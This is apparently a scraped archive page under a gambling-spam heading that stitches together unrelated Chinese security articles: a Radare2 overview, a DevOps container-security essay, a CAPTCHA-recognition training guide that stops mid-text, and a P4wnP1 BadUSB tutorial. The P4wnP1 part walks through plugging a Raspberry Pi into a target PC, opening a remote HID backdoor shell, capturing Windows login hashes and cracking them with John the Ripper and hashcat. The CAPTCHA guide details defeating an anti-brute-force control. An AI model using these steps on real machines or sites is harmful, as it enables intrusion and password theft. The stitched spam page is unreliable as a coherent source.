• 1-800-123-789
  • info@webriti.com

Category Archive2019连线老虎机手机现金版

Radare2:一款类Unix命令行逆向安全框架

工具介绍

Radare2基于Radare开发,并支持第三方二进制文件以提供更多的实用功能。Radare作为一款取证工具,提供了可编辑的命令行十六进制编辑器,可直接打开磁盘文件,但后来又添加了分析模块、反编译模块、调试程序和远程gdb服务器。Radere2亦是如此,但Radare2的灵活性更高。

a.jpg

架构支持

i386,x86-64, ARM, MIPS, PowerPC, SPARC, RISC-V, SH, m68k, AVR, XAP, System Z, XCore,CR16, HPPA, ARC, Blackfin, Z80, H8/300, V810, V850, CRIS, XAP, PIC, LM32, 8051,6502, i4004, i8080, Propeller, Tricore, Chip8 LH5801, T8200, GameBoy, SNES,MSP430, Xtensa, NIOS II, Dalvik, WebAssembly, MSIL, EBC, TMS320 (c54x, c55x,c55+, c66), Hexagon, Brainfuck, Malbolge, DCPU16。

文件格式

ELF,Mach-O, Fatmach-O, PE, PE+, MZ, COFF, OMF, TE, XBE, BIOS/UEFI, Dyldcache, DEX,ART, CGC, Java类, Android启动镜像, Plan9可执行文件, ZIMG, MBN/SBL bootloader, ELF coredump, MDMP (Windows minidump),WASM (WebAssembly代码), Commodore VICE 模拟器, Game Boy (高级), Nintendo DS ROMs, Nintendo3DS FIRMs, 以及各种文件系统。

操作系统

Windows(XP及以上版本), GNU/Linux, OS X, [Net|Free|Open]BSD, Android, iOS, OSX, QNX,Solaris, Haiku, FirefoxOS。

支持绑定

Vala/Genie,Python (2, 3), NodeJS, Lua, Go, Perl, Guile, PHP, Newlisp, Ruby, Java, OCaml…

依赖组件

Radare2可以在不依赖任何特殊组件的情况下完成构建,你可以使用libewf来加载EnCase磁盘镜像,如需构建绑定的额外代码库,你需要最新版本的valabind、g++和swig2。

工具安装

安装Radare2最简单的方法就是直接使用下列命令下载并安装:

$sys/install.sh

如果你想从主目录安装Radare2,并且没有root权限和sudo的话,你可以运行:

$sys/user.sh

使用meson + ninja构建

如果你没有meson和ninja,你可以使用安装包管理器或r2pm进行安装:

$r2pm -i meson

如果你已经安装好了,你可以直接运行下列代码编译radare2:

$python ./sys/meson.py --prefix=/usr --shared –install

工具更新

运行下列命令可直接更新Radare2:

$sys/install.sh

如果你把Radare2安装在主目录,你可以直接运行:

$sys/user.sh

包管理器

Radare2拥有自己的包管理器:r2pm,所有的包代码都可以在GitHub上找到。首次使用时,你需要初始化包:

$r2pm init

在安装任何代码包前请刷新包数据库:

$r2pm update

使用下列命令安装代码包:

$r2pm install [package name]

代码绑定

所有绑定的编程语言全部在r2-bindings目录下,你需要安装swig和valabind来构建绑定的Python和Lua等语言。比如说,你可以使用下列命令安装Python绑定:

$r2pm install lang-python2 #lang-python3 for python3 bindings

$r2pm install r2api-python

$r2pm install r2pipe-py

Web服务器

Radare2自带了内嵌的Web服务器,服务器提供了纯html/js接口可发送ajax请求。

$ r2-c=H /bin/ls

在Windows平台上使用Web服务器,你需要一个cmd实例以及管理员权限。使用下列命令开启Web服务器:

>radare2.exe -c=H rax2.exe

参考文档

【Radare2文档】

项目地址

Radare2:【GitHub传送门】

* 参考来源:radare2,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

成为物理黑客吧!利用树莓派实现P4wnP1项目进行渗透测试

*本文作者:Milu。,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

看到标题的各位可能认为物理黑客是这样的。

21

当然今天并不是说的上面这种~

大家在小的时候可能在电影中看到过,一个大黑阔从手里掏出了一个U盘,然后噼里啪啦的操作一番,某大BOSS电脑就被打开了。在电脑被破解的那一刻,大家是否也想过,总有一天我能不能也能这样呢?

这样的U盘就叫badusb,网上有国外团队做好的成品(Bash Bunny),然而这个价格实在是感人……

那么问题来了,作为具有geek精神的(基)机佬,自然要用最低的成本来完成咯。所以笔者发现了P4wnP1这个开源项目。

P4wnP1 is a highly customizable USB attack platform, based on a low cost Raspberry Pi Zero or Raspberry Pi Zero W (required for HID backdoor).

P4wnP1是一个高度可定制的USB攻击平台,基于低成本的Raspberry Pi Zero或Raspberry Pi Zero W(HID后门所需)。

废话不多说,我们直接进入主题吧!

需要什么

树莓派 Pi Zero W (某宝上有Zero,Zero W,Zero WH,因为我们需要的只有蓝牙和wifi故选择Zero W )

一张microSD(TF)卡(8G就够用了,大了也可以)

USB扩展板【选购】(这样就可以直接插USB进行数据连接,如果不想买的话你拿micro usb的数据线也是一样的)

系统:这里有一个坑,我用最新版的镜像系统安装会出现问题(wifi无法配置连接)… 所以我选择了2017年的raspbian jessie版本。下载地址:点我下载 。下载后缀为zip的解压成img即可

安装

硬件安装

由于本人比较嫌麻烦,所以就直接买了带USB的扩展版。以下是安装好之后的成品~

1

2

3

系统安装

用到的软件:win32diskimager 或者 rufus-3.4 ,两个都可以,这里贴一个rufus的下载链接。 rufus下载地址

同样我们里rufus为例,用读卡器将TF卡插入电脑,打开rufus,引导文件选择我们下载好的镜像文件,点击开始即可。

4

大概等个5分钟左右,镜像就写入完毕了。

Wifi配置

注意: Pi Zero W 只支持2.4G频率!

写入镜像之后,我们需要对树莓派的网络连接进行配置。我们打开boot分区,在其根目录下创建wpa_supplicant.conf 以及 ssh 文件(注ssh文件是没有后缀名的)

在wpa_supplicant.conf 文件中写入你的网络配置,(这一步操作是为了让你的电脑和树莓派处于同一个网络环境下,这样你才能通过ssh连接上),配置格式如下:

network={     ssid="WiFi_name"     psk="mypassword"     key_mgmt=WPA-PSK     priority=1 }  network={     ssid="WiFi_name2"     psk="password"     key_mgmt=WPA-PSK     priority=2     scan_ssid=1 } 

对以上Wifi配置名称的解释:

ssid - wifi名称 psk - wifi密码 key_mgmt - 如果你的wifi加密方式使用的WPA/WPA2,该类型为WPA-PSK,若为WEP加密或没密码,则为NONE。 priority - wifi优先级,如果你怕某个WiFi连接不上,则可以配置多个wifi,树莓派会按照优先级进行连接。 scan_ssid - 如果你的wifi是隐藏的,则需要指定该值为1 

在配置完Wifi后,我们还要在根目录下创建一个名为 ssh的空文件(记住没有后缀名),配置完后如下图所示。

5

做完上述工作后,我们就可以将TF卡插入树莓派,然后插入电脑。

6

SSH连接到树莓派

当我们插上USB后,等待个1-2分钟,我们就可以在路由器管理界面上找到名为raspberrypi的设备,找到它的IP,记录下来。

7

接下来我们用putty进行ssh连接,用别的ssh软件也行,我这里以PUTTY为例:

8

填上树莓派的地址,然后连接。账号为pi 密码为raspberry。

配置安装P4wnP1

建议连接后,先改下源。这样速度快一点(针对国内用户)

修改源的方法: sudo nano /etc/apt/sources.list 将 deb xxxxx 改成  deb http://mirrors.aliyun.com/raspbian/raspbian/ stretch main contrib non-free rpi  ctrl+o保存,ctrl+x退出 

配置环境

sudo apt-get update  sudo apt-get install git john  git clone --recursive http://github.com/mame82/P4wnP1 

克隆完毕后,执行下列操作

cd P4wnP1/ ./install.sh 

需要经过漫长的等待……在安装的时候可能会遇到一些安装询问,均按默认情况执行即可。

9

出现这个界面时就代表安装成功了!

使用

上述步骤完成之后,将树莓派插入想要入侵的电脑。(这里以一台win10的台式机为靶机)。

10

连接到一个名为P4wnP1的wifi,初始密码是:MaMe82-P4wnP1。

连接成功后,我们打开PUTTY,连接到:172.24.0.1 端口22, 账号密码仍然是树莓派的密码。

输入成功后有些会直接进入如下界面。

13

我们可以进入P4WNP1的安装路径,找到setup.cfgpayloads更换:

sudo nano /P4wnP1/setup.cfg 

setup.cfg里面有很多配置,你可以根据需要进行一些修改.这里可能会出现一些配置问题,你可以拉到最下面查看解决方案。

payloads更换

更换payloads需要进入程序的安装目录进行更改,但是这里可能会有一些问题出现,笔者曾经安装过一次,它的安装目录会变到其他位置,但是后面几次安装它的安装目录仍然在当前目录下,如果遇到找不到安装路径的情况,可以试试以下命令。

sudo find -name P4wnP1 

进入到安装目录后,对setup.cfg进行修改。

sudo nano /P4wnP1/setup.cfg 

到最底部,找到Payload selection:

14

这里有很多以#号开头的payload,意味着他们是未被使用的。该项目只能一次性加载一个payload,所以你选择了network_only就不能选择别的payload. 这里我们以hid_backdoor_remote.txt为例。

首先在network_only前加上#号,再去掉backdoor_remote前的#号。

15

保存,退出。 你可以直接reboot,或者拔了数据线再插上去。

当我们再次连接的时候,如果出现如下图的情况,说明更换成功,你就可以开始搞事情了~

16

实战(以hid_backdoor_remote为例)

在进入到P4wnP1 shell时,我们需要先输入FireStage1,其对靶机进行连接操作。当出现”client connect”字样时说明连接成功。

P.S:你可以输入help查看可以用的命令。

这里以shell为例,我们输入shell

17

可以看到我们正在以当前主机的身份进行了操作。

如果想要退出shell模式,按Ctrl+C即可退出。

以下对一些命令的解释

SendDuckyScript 发送键盘脚本

SendMouseScript 发送鼠标脚本

download 下载文件到树莓派

upload 上传文件到主机

shell 以靶机的身份访问控制台

CreateProc 创建进程 (打开记事本的命令为: CreateProc notepad)

sendkeys xxx 发送‘xxx’键盘输入

其它很多命令的解释可以在 官方手册查看

在上Win10破解密码

这个是P4wnP1上比较特别的一个点。但是经过我个人测试之后,其实是存在一定限制的。

简单的说一下原理,先插好设备,在输入密码进去系统界面时,树莓派会截取到有密码的hash值,然后暴力破解一个一个进行对比… 简单的字母比如abc,123速度确实很快,但是如果是字母+数字或者又长又复杂的组合密码可能要破解到猴年马月了。

假如密码是弱密码

我们设置完payloads后,插入电脑。在受害者输入密码后,树莓派会自己利用 John the Ripper 模块进行破解,这个作者在文档说明中也提到了。

you leave P4wnP1 plugged and the hashes are handed over to John the Ripper, which tries to bruteforce the captured hash.

If the ´password of the user who locked the box is weakly choosen, chances are high that John the Ripper is able to crack it, which leads to…

例如,笔者靶机上密码为abc,当插上树莓派时等待一会,输入密码进入windows系统,此时我们用另一台机子连接到树莓派的热点。执行以下命令

cd /P4wnP1/collected ls 

在collected文件夹内存储了窃听到的hash值。如果是弱密码,在后面会直接生成 .hashes.cracked .此时我们直接查看即可获得密码。

18

19

假如密码是强密码,且知道密码的组成

这里就要推荐一个工具了。 叫hashcat 下载地址 ,它需要GPU进行运算。

将我们得到的hash值,运用下面的命令执行

hashcat64.exe -m 5600 hash.txt -a 3 ?d?d?d?d?d?l?l

解释一下上面的命令,hash.txt是.hashes文件中的内容。后面问号表示不同位置密码的取值范围。例如上面的例子,密码的前五位是数字,后两位是字母。

20

详细的解释可以看这个: 点我

在手机上进行渗透测试

推荐俩APP

安卓:JuiceSSH

苹果:shelly

遇到的问题

如果真的嫌安装过程麻烦

作者提供了一个打包好的系统镜像,可以直接写入tf卡。

下载地址

SSH连接问题

如果遇到SSH拒绝连接,先想想你在配置完WiFi后有没有创建ssh文件,如果创建了但还是连不上,你可以重启一下路由器,看下是否是路由器记录出现了问题(这种情况会发生在你原来用这个树莓派装过系统,但是你重新安装系统后导致连不上),最后还是不行的话,再重装系统。

WiFi名设置问题

“为什么我在setup.cfg中修改了wifi名为什么加载出来的不是我修改的?”.

这是因为在加载payload的时候,项目会先从payload里面加载一些配置,而payload设置是默认原来setup.cfg中的。如何修改? 注释掉payload中相应的选项,只要程序发现payload中缺少一些选项的配置(如wifi名,密码等),程序会自动到setup.cfg补上缺少的选项。

树莓派没有开启热点模式,仍然是作为wifi连接的情况

sudo -i nano /etc/network/interfaces 

将图中框住的部分删掉即可12

连接成功,但是弹不出主程序shell界面

在靶机上尽量选3.0接口,笔者用2.0的有时候就会出现这样的情况。

win10破解密码模式无法获得hash值

笔者是在锁屏的状态下,插上树莓派,等待了一会后才进入。 有时候会出现一定的延迟,或者压根不截取hash值,此时最好先清空collected文件内的内容,然后将靶机注销再进行尝试。

参考文档

P4wnP1

P4wnP1_Offical_Wiki

hashcat

如何将自己的树莓派打造成“渗透测试神器”

Snag Windows Passwords With Pi Zero | P4wnp1

*本文作者:Milu。,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

快速推进DevOps流程时的安全问题探讨

写在前面的话

容器和微服务技术的诞生为我们设计和构建安全的基础设施以及应用程序提供了非常大的帮助。容器环境从中心化到数字化的转变,正在迅速成为主流。基于云环境的原生架构以及基于微服务的应用程序对于公司和企业的快速发展至关重要。为了快速实现安全性,企业必须加快自身的容器安全策略以及实施的成熟度。

随着生产部署速度的加快,不同组件之间的安全问题愈发明显,这将给企业带来直接的安全风险。大家都知道,传统的安全工具及产品无法给容器和微服务提供安全保护,因此大多数部署了容器的公司都会对自身资产的安全性表示担忧,并且希望安全社区能够提供专门的解决方案。

除了部署新的容器安全平台之外,各大公司还意识到了他们必须利用云环境和容器化生态系统固有的安全功能及架构,而类似Kubernetes这样的容器及微服务技术就给我们构建安全的基础设施以及应用程序提供了绝佳的机会。

1.png

新的挑战和策略转移

从本质上来看,容器化环境只要在构建和使用时操作得当,那它们就是更安全的。但想要安全地配置、操作和运行这些系统,就需要丰富的经验了。通常,一般的安全团队对容器或Kubernetes这样的东西是没有经验的,因此很多企业还需要根据各自部署容器的方式来重新审视这些团队的安全角色和责任。

加强Kubernetes的安全性是一个组织想要保护容器化应用程序时所要做的最基本的事情之一。Kubernetes已经成为了绝大多数容器化环境部署方案中的首选,它是否能够成为一个强大的解决方案,主要原因在于你能够从多大程度上来使用和控制它。需要注意的是,它提供了非常丰富的配置选项,这也就意味着在操作的过程中会出现错误,如果你的设置不正确,那么你就有可能引入不必要的业务风险。此外,Kubernetes也正在成为网络犯罪分子的攻击目标,因为它的使用越来越广泛了。

2.png

DevOps跟安全更加贴近

随着云服务和云生态环境的兴起,CIO团队已经从提供和运行云基础设施,转移到了提供服务支持型的应用程序。现在,随着容器化环境技术的发展,安全团队也在进行着类似的转变,这是因为应用程序的安全已经逐步进入了DevOps的领域。考虑到DevOps在构建、测试和部署应用程序方面的专业知识和核心作用,DevOps团队成员必须负责去保护这些应用程序以及基础设施。虽然安全团队仍然需要去制定一些安全策略并设置防护边界,但DevOps将越来越多地去操作更适用于容器化应用程序的安全工具。

除此之外,DevOps还可以帮助我们在软件开发生命周期的初期更加安全地构建产品基础设施,而容器技术的细粒度可以提高系统的弹性和灵活性。在云本地环境中,控制层和数据层从某种程度上来说时交织在一起的,因此我们可以编写一个逻辑层来进行连续的、及时的操作。

容器和微服务能够帮助我们进行实时的修改,例如部署安全更新等等。为了解决一个问题,我们只需要替换掉旧的镜像,部署新的镜像,删除受影响的容器,然后重构一个新的容器,而这些容器将会自动使用新的镜像。这样一来,你就可以在不破坏整个应用程序的情况下解决你所遇到的安全问题了。

3.jpg

毫无疑问,DevOps会让网络犯罪分子们更加头疼,如果他们成功渗透,通常只能看到一个容器里的东西,而扩大攻击范围意味着他们必须多次重复执行攻击入侵操作。

考虑到容器固有的安全结构,DevOps团队和安全团队还可以协同合作来保护基础设施的安全。此时,安全团队只需要在共享安全原则和策略上集中尽力以应用到新的开发工具上,而DevOps团队可以把注意力放在集成本地DevOps工具容器安全平台上。

没错,我们需要更聪明一点!再聪明一点!

* 参考来源:darkreading,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

CNN+BLSTM+CTC的验证码识别从训练到部署

*本文原创作者:kerlomz,本文属FreeBuf原创奖励计划,未经许可禁止转载

一 前言

长话短说,开门见山,验证码是网络安全的一个重要组成部分,提高了暴力尝试破解的成本,而验证码识别是其反面,本文将带领大家看看如何使用深度学习进行验证码的识别,各厂可以通过本文来认识图形验证码的弱点和不可靠性。

最新更新(2019/01/21):如果对于DLL调用感兴趣或是其他语言的TensorFlow API感兴趣的移步以下两个项目:

https://github.com/kerlomz/captcha_library_c

https://github.com/kerlomz/captcha_demo_csharp

笔者选用的时下最为流行的CNN+BLSTM+CTC进行端到端的不定长验证码识别,代码中预留了DenseNet+BLSTM+CTC的选项,可以在配置中直接选用。首先,介绍个大概吧。

网格结构 predict-CPU predict-GPU 模型大小
CNN5+Bi-LSTM+H64+CTC 15ms 28ms 2mb
CNN5+Bi-LSTM+H16+CTC 8ms 28ms 1.5mb
DenseNet+Bi-LSTM+H64+CTC 60ms 60ms 6.5mb

H16/H64指的是Bi-LSTM的隐藏神经元个数num_units,这里注意,你没有看错,也没有写反,LSTM有时序依赖,tf.contrib.rnn.LSTMCell的实现没能很充分的利用GPU的计算资源,底层kernel函数之间的间隙非常大,不利于充分的利用 GPU 的并行性来进行计算。所以本项目使用GPU训练,使用CPU进行预测。预测服务部署项目源码请移步此处:https://github.com/kerlomz/captcha_platform

二 环境依赖:

关于CUDA和cuDNN版本的问题,不少人很纠结,这里就列出官方通过pip安装的TensorFlow的版本对应表:

Linux

Version Python version Compiler Build tools cuDNN CUDA
tensorflow_gpu-1.12.0 2.7, 3.3-3.6 GCC 4.8 Bazel 0.15.0 7 9
tensorflow_gpu-1.11.0 2.7, 3.3-3.6 GCC 4.8 Bazel 0.15.0 7 9
tensorflow_gpu-1.10.0 2.7, 3.3-3.6 GCC 4.8 Bazel 0.15.0 7 9
tensorflow_gpu-1.9.0 2.7, 3.3-3.6 GCC 4.8 Bazel 0.11.0 7 9
tensorflow_gpu-1.8.0 2.7, 3.3-3.6 GCC 4.8 Bazel 0.10.0 7 9
tensorflow_gpu-1.7.0 2.7, 3.3-3.6 GCC 4.8 Bazel 0.9.0 7 9
tensorflow_gpu-1.6.0 2.7, 3.3-3.6 GCC 4.8 Bazel 0.9.0 7 9

Windows

Version Python version Compiler Build tools cuDNN CUDA
tensorflow_gpu-1.12.0 3.5-3.6 MSVC 2015 update 3 Bazel 0.15.0 7 9
tensorflow_gpu-1.11.0 3.5-3.6 MSVC 2015 update 3 Bazel 0.15.0 7 9
tensorflow_gpu-1.10.0 3.5-3.6 MSVC 2015 update 3 Cmake v3.6.3 7 9
tensorflow_gpu-1.9.0 3.5-3.6 MSVC 2015 update 3 Cmake v3.6.3 7 9
tensorflow_gpu-1.8.0 3.5-3.6 MSVC 2015 update 3 Cmake v3.6.3 7 9
tensorflow_gpu-1.7.0 3.5-3.6 MSVC 2015 update 3 Cmake v3.6.3 7 9
tensorflow_gpu-1.6.0 3.5-3.6 MSVC 2015 update 3 Cmake v3.6.3 7 9

如果希望使用上面对应之外的搭配的CUDA和cuDNN,可以自行编译TensorFlow,或者去Github上搜索TensorFlow Wheel找到第三方编译的对应版本的whl安装包。提前预警,若是自己编译将会苦难重重,坑很多,这里就不展开了。

2.1 本项目环境依赖

目前在以下主流操作系统平台均测试通过:| 操作系统 | 最低支持版本 || ——– | ———— || Ubuntu | 16.04 || Windows | 7 SP1 || MacOS | N/A |

本训练项目主要的环境依赖清单如下| 依赖 | 最低支持版本 || ———- | ———— || Python | 3.6 || TensorFlow-GPU | 1.6.0 || Opencv-Python | 3.3.0.10 || Numpy | 1.14.1 || Pillow | 4.3.0 || PyYaml | 3.13 |

2.1.1 Ubuntu 16.04 下的 Python 3.6

1)先安装Python环境

sudo apt-get install openssl   sudo apt-get install libssl-dev sudo apt-get install libc6-dev gcc   sudo apt-get install -y make build-essential zlib1g-dev libbz2-dev libreadline-dev $ libsqlite3-dev wget curl llvm tk-dev  wget https://www.python.org/ftp/python/3.6.6/Python-3.6.6.tgz tar -vxf Python-3.6.6.tar.xz cd Python-3.6.6 ./configure --prefix=/usr/local  --enable-shared make -j8 sudo make install -j8 

经过上面指令就安装好Python3.6环境了,如果提示找不到libpython3.6m.so.1.0就到/usr/local/lib路径下将该文件复制一份到/usr/lib和/usr/lib64路径下。2)安装相关依赖(这一步Windows和Linux通用)可以直接在项目路径下执行pip3 install -r requirements.txt安装所有依赖,注意这一步是安装在全局Python环境下的,强烈建议使用虚拟环境进行项目间的环境隔离,如Virtualenv或Anaconda等等。我一般使用的是Virtualenv,有修改代码需要的,建议安装PyCharm作为Python IDE

virtualenv -p /usr/bin/python3 venv # venv is the name of the virtual environment. cd venv/ # venv is the name of the virtual environment. source bin/activate # to activate the current virtual environment. cd captcha_trainer # captcha_trainer is the project path. pip3 install -r requirements.txt 

2.1.2 Ubuntu 16.04 下的 CUDA/cuDNN

网上看到过很多教程,我自己也部署过很多次,Ubuntu 16.04遇到的坑还是比较少的。14.04支持就没那么好,如果主板不支持关闭SecureBoot的话千万不要安装Desktop版,因为安装好之后一定会无限循环在登陆界面无法进入桌面。网上教程说要加驱动黑名单什么的我直接跳过了,亲测没那个必要。就简单的几步:

1. 下载好安装包注意下载runfile类型的安装包,deb安装会自动安装默认驱动,极有可能导致登陆循环

NVIDIA 驱动下载:https://www.geforce.cn/drivers

CUDA 下载地址:https://developer.nvidia.com/cuda-downloads

cuDNN 下载地址:https://developer.nvidia.com/cudnn (需要注册NVIDIA账号且登陆,下载deb安装包)

2. 关闭图形界面Ctrl+alt+F1进入字符界面,关闭图形界面

sudo service lightdm stop 

3. 安装Nvidia Driver

命令中的版本自己对应下载的版本改,在上面的下载地址根据自己的显卡型号下载最新版,切记是runfile格式的安装包。

sudo chmod a+x NVIDIA-Linux-x86_64-384.90.run //获取执行权限 sudo ./NVIDIA-Linux-x86_64-384.90.run –no-x-check –no-nouveau-check –no-opengl-files //安装驱动 

安装成功以后使用以下命令验证,如果显示显卡信息则表示安装成功

nvidia-smi 

4. 安装CUDA

1)先安装一些系统依赖库

sudo apt-get install freeglut3-dev build-essential libx11-dev libxmu-dev libxi-dev libgl1-mesa-glx libglu1-mesa libglu1-mesa-dev 

2) 执行安装程序,按指示无脑继续就好了,如果提示是否安装驱动选不安装。

sudo sh cuda_9.0.176_384.81_linux.run 

安装完如果环境变量没配上去,就写到 ~/.bashrc 文件的尾部

export PATH=/usr/local/cuda-9.0/bin${PATH:+:${PATH}} export LD_LIBRARY_PATH=/usr/local/cuda-9.0/lib64${LD_LIBRARY_PATH:+:${LD_LIBRARY_PATH}} 

然后在终端执行 sudo ldconfig更新,安装完毕就可以重启机器重启图形界面了。

sudo service lightdm start 

2.1.3 Windows 系统

在Windows其实简单很多,只要到官网下载安装包无脑安装就可以了,下载连接同Ubuntu,先安装Python,显卡驱动,CUDA,然后下载对应的cuDNN替换到对应路径即可。

花了超长篇幅介绍了训练环境的基本搭建,主要是给尚未入门的读者看的,老鸟们随便跳过

三 使用

入手的第一步环境搭建好了,那就是准备跑代码了,还是有几个必要的条件,巧妇难为无米之炊,首先,既然是训练,要先有训练集,笔者不满百度云不开会员龟速10kb限速很久了,所以上传到QQ群857149419共享里,有一个新手尝鲜的训练集,是mnist手写识别的例子,现在万事俱备,只欠东风。

3.1 定义一个模型

本项目采用的是参数化配置,不需要改动任何代码,可以训练几乎任何字符型图片验证码,下面从两个配置文件说起:config.yaml # 系统配置

# - requirement.txt  -  GPU: tensorflow-gpu, CPU: tensorflow # - If you use the GPU version, you need to install some additional applications. # TrainRegex and TestRegex: Default matching apple_20181010121212.jpg file. # - The Default is .*?(?=_.*/.) # TrainsPath and TestPath: The local absolute path of your training and testing set. # TestSetNum: This is an optional parameter that is used when you want to extract some of the test set # - from the training set when you are not preparing the test set separately. System:   DeviceUsage: 0.7   TrainsPath: 'E:/Task/Trains/YourModelName/'   TrainRegex: '.*?(?=_)'   TestPath: 'E:/Task/TestGroup/YourModelName/'   TestRegex: '.*?(?=_)'   TestSetNum: 1000  # CNNNetwork: [CNN5, DenseNet] # RecurrentNetwork: [BLSTM, LSTM] # - The recommended configuration is CNN5+BLSTM / DenseNet+BLSTM # HiddenNum: [64, 128, 256] # - This parameter indicates the number of nodes used to remember and store past states. NeuralNet:   CNNNetwork: CNN5   RecurrentNetwork: BLSTM   HiddenNum: 64   KeepProb: 0.98  # SavedSteps: A Session.run() execution is called a Steps, # - Used to save training progress, Default value is 100. # ValidationSteps: Used to calculate accuracy, Default value is 100. # TestNum: The number of samples for each test batch. # - A test for every saved steps. # EndAcc: Finish the training when the accuracy reaches [EndAcc*100]%. # EndEpochs: Finish the training when the epoch is greater than the defined epoch. Trains:   SavedSteps: 100   ValidationSteps: 500   EndAcc: 0.975   EndEpochs: 1   BatchSize: 64   TestBatchSize: 400   LearningRate: 0.01   DecayRate: 0.98   DecaySteps: 10000 

上面看起来好多好多参数,其实大部分可以不用改动,你需要修改的仅仅是训练集路径就可以了,注意:如果训练集的命名格式和我提供的新手训练集不一样,请根据实际情况修改TrainRegex和TestRegex的正则表达式。,TrainsPath和TestPath路径支持list参数,允许多个路径,这种操作适用于需要将多种样本训练为一个模型,或者希望训练一套通用模型的人。为了加快训练速度,提高训练集读取效率,特别提供了make_dataset.py来支持将训练集打包为tfrecords格式输入,经过make_dataset.py打包之后的训练集将输出到本项目的dataset路径下,只需修改TrainsPath键的配置如下即可

TrainsPath: './dataset/xxx.tfrecords' 

TestPath是允许为空的,如果TestPath为空将会使用TestSetNum参数自动划分出对应个数的测试集。如果使用自动划分机制,那么TestSetNum测试集总数参数必须大于等于TestBatchSize测试集每次读取的批次大小。神经网络这块可以讲一讲,默认提供的组合是CNN5(CNN5层模型)+BLSTM(Bidirectional LSTM)+CTC,亲测收敛最快,但是训练集过小,实际图片变化很大特征很多的情况下容易发生过拟合。DenseNet可以碰运气在样本量很小的情况下很好的训练出高精度的模型,为什么是碰运气呢,因为收敛快不快随机的初始权重很重要,运气好前500步可能对测试集就有40-60%准确率,运气不好2000步之后还是0,收敛快慢是有一定的运气成分的。

NeuralNet:   CNNNetwork: CNN5   RecurrentNetwork: BLSTM   HiddenNum: 64   KeepProb: 0.99 

隐藏层HiddenNum笔者尝试过8~64,都能控制在很小的模型大小之内,如果想使用DenseNet代替CNN5直接修改如上配置中的CNNNetwork参数替换为:

NeuralNet:   CNNNetwork: DenseNet   ...... 

model.yaml # 模型配置

# ModelName: Corresponding to the model file in the model directory, # - such as YourModelName.pb, fill in YourModelName here. # CharSet: Provides a default optional built-in solution: # - [ALPHANUMERIC, ALPHANUMERIC_LOWER, ALPHANUMERIC_UPPER, # -- NUMERIC, ALPHABET_LOWER, ALPHABET_UPPER, ALPHABET] # - Or you can use your own customized character set like: ['a', '1', '2']. # CharExclude: CharExclude should be a list, like: ['a', '1', '2'] # - which is convenient for users to freely combine character sets. # - If you don't want to manually define the character set manually, # - you can choose a built-in character set # - and set the characters to be excluded by CharExclude parameter. Model:   Sites: []   ModelName: YourModelName-CNN5-H64-150x50   ModelType: 150x50   CharSet: ALPHANUMERIC_LOWER   CharExclude: []   CharReplace: {}   ImageWidth: 150   ImageHeight: 50  # Binaryzation: [-1: Off, >0 and < 255: On]. # Smoothing: [-1: Off, >0: On]. # Blur: [-1: Off, >0: On]. # Resize: [WIDTH, HEIGHT]   # - If the image size is too small, the training effect will be poor and you need to zoom in. # - ctc_loss error "No valid path found." happened Pretreatment:   Binaryzation: -1   Smoothing: -1   Blur: -1 

上述的配置只要关注ModelName、CharSet、ImageWidth、ImageHeight首先给模型取一个好名字是成功的第一步,字符集CharSet其实大多数情况下不需要修改,一般的图形验证码离不开数字和英文,而且一般来说是大小写不敏感的,不区分大小写,因为打码平台收集的训练集质量参差不齐,有些大写有些小写,不如全部统一为小写,默认ALPHANUMERIC_LOWER则会自动将大写的转为小写,字符集可定制化很灵活,除了配置备注上提供的几种类型,还可以训练中文,自定义字符集用list表示,示例如下:

CharSet: ['常', '世', '宁', '慢', '南', '制', '根', '难'] 

可以自己根据收集训练集的实际字符集使用率来定义,也可以无脑网上找3500常用字来训练,注意:中文字符集一般比数字英文大很多,刚开始收敛比较慢,需要更久的训练时间,也需要更多的样本量,请量力而行QQ截图20181204150924.png形如上图的图片能轻松训练到95%以上的识别率。ImageWidth、ImageHeight只要和当前图片尺寸匹配即可,其实这里的配置主要是为了方便后面的部署智能策略。其他的如Pretreatment之下的参数是用来做图片预处理的,因为笔者致力于做一套通用模型,模型只使用了灰度做预处理。其中可选的二值化、均值滤波、高斯模糊均未开启,即使不进行那些预处理该框架已经能够达到很理想的识别效果了,笔者自用的大多数模型都是98%以上的识别率。

3.2 开始训练

按照上面的介绍,配置只要修改极少数的参数对应的值,就可以开启正式的训练之旅了,具体操作如下:可以直接使用PyCharm的Run,执行trains.py,也可以在激活Virtualenv下使用终端亦或在安装依赖的全局环境下执行

python3 trains.py 

剩下的就是等了,看过程,等结果。正常开始训练的模样应该是这样的:QQ截图20181204152301.png训练结束会在项目的out路径下生成一个pb和yaml文件,下面该到部署环节了。

3.3 部署

真的很有必要认真的介绍一下部署项目,比起训练,这个部署项目倾注了笔者更多的心血,为什么呢?项目地址:https://github.com/kerlomz/captcha_platform

真的值得了解的几点

同时管理多个模型,支持模型热拔插

灵活的版本控制

支持批量识别

服务智能路由策略

首先笔者重写了Tensor Flow的Graph会话管理,设计会话池,允许同时管理多模型,实现多模型动态部署方案。1)训练好的pb模型只要放在部署项目的graph路径下,yaml模型配置文件放在model,即可被服务发现并加载,2)如果需要卸载一个正在服务的模型,只需要在model中删除该模型的yaml配置文件,在graph中删除对应的pb模型即可。3)如果需要更新一个已经服务中的模型,只需修改新版的模型yaml配置文件的版本号高于原模型的版本号,按先放pb后放yaml的顺序,服务便会自动发现新版的模型并加载使用,旧的模型将因版本低于新版模型不会被调用,可以按照上述的卸载方法卸载已被弃用的模型释放内存。上面的操作中无需重启服务,完全的无缝切换

其次,一套服务想要服务于各式各样的图像识别需求,可以定义一套策略,训练时将所有尺寸一样的图片训练成一个模型,服务根据图片尺寸自动选择使用哪个模型,这样的设计使定制化和通用性共存,等积累到一定多样的训练集时可以将所有的训练集合到一起训练一个通用模型,亦可以彼此独立,每个模型的叠加仅仅增加了少量的内存或显存,网上的方案大多是不同的模型单独部署一套服务,每个进程加载了一整套TensorFlow框架势必是过于庞大和多余的。

用到批量识别需求的人相对少很多这里就不展开介绍了。识别项目提供了多套可选的服务有:gRPC,Flask,Tornado,Sanic,其中Flask和Tornado提供了加密接口,类似于微信公众号开发接口的SecretKey和AccessKey接口,感兴趣的可以在demo.py中阅读调用源码了解。

部署的使用可以经过package.py编译为可执行文件,这样可以免去更换机器环境安装的烦恼,部署项目安装流程同训练项目,项目中提供的requirements.txt已经将所需的依赖都列清楚了,强烈建议部署项目安装cpu版TensorFlow。

Linux:

